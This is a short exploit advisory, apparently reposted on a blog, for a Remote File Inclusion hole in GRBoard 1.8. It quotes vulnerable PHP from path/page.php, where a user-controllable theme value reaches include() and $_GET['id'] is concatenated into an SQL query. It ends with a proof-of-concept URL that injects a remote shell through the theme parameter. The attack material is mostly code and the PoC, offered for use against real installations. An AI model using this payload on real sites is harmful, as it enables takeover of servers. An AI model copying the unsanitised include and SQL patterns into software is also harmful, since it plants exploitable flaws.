download: http://sirini.net/grboard/board.php?id=grskin&articleNo=82
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
=====================================================================
Description:
GRBoard (VERSION 1.8 )is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
=====================================================================
--=[ Vuln C0de ]=-
[-] path/page.php
-----------------------------------------------------------------------------------------
// 페이지에서 사용할 변수 부르기
$getConfigList = array('theme', 'title', 'logo', 'useOutlogin', 'outlogin', 'usePoll', 'poll');
$countList = count($getConfigList);
for($i=0; $i<$countList; $i++) $config[$getConfigList[$i]] = getVar($getConfigList[$i]);
$content = @mysql_fetch_array(mysql_query('select var from '.$dbFIX.'layout_config where opt = \'page\' and var like \''.$_GET['id'].'|%\''));
$content = str_replace($_GET['id'].'|', '', $content['var']);
$path = 'layout/'.$config['theme'];
include 'layout/'.$config['theme'].'/head.page.php'; // <= 1
?>
include 'layout/'.$config['theme'].'/foot.page.php'; // <= 2
?>
-----------------------------------------------------------------------------------------
-=[ P0C ]=-
http://127.0.0.1/path/page.php?theme= [inj3ct0r sh3ll]
=========================| -=[ E0F ]=- |=========================
No comments:
Post a Comment